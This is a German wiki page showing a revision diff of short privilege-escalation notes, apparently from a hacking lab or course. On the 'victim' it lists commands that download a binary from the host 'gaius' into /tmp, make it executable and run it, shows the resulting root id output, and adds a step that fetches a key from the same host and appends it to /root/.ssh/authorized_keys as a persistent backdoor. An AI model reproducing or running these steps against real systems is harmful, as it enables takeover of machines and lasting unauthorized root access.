Privilege Escalation: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 4: | Zeile 4: | ||
*wget http://gaius/hack | *wget http://gaius/hack | ||
*chmod +x hack | *chmod +x hack | ||
| − | |||
| − | |||
| − | |||
==Exploit ausfühen== | ==Exploit ausfühen== | ||
*./hack | *./hack | ||
| Zeile 12: | Zeile 9: | ||
uid=0(root) gid=0(root) groups=0(root),33(www-data) | uid=0(root) gid=0(root) groups=0(root),33(www-data) | ||
'''Wir sind nun root''' | '''Wir sind nun root''' | ||
| + | ==id.pub einbauen== | ||
| + | *wget http://gaius/root.key | ||
| + | *cat root.key >> /root/.ssh/authorized_keys | ||
Version vom 28. September 2022, 17:01 Uhr
Wieder auf den Opfer
Exploit runterladen und Ausführungsrecht geben
- cd /tmp
- wget http://gaius/hack
- chmod +x hack
Exploit ausfühen
- ./hack
- id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
Wir sind nun root
id.pub einbauen
- wget http://gaius/root.key
- cat root.key >> /root/.ssh/authorized_keys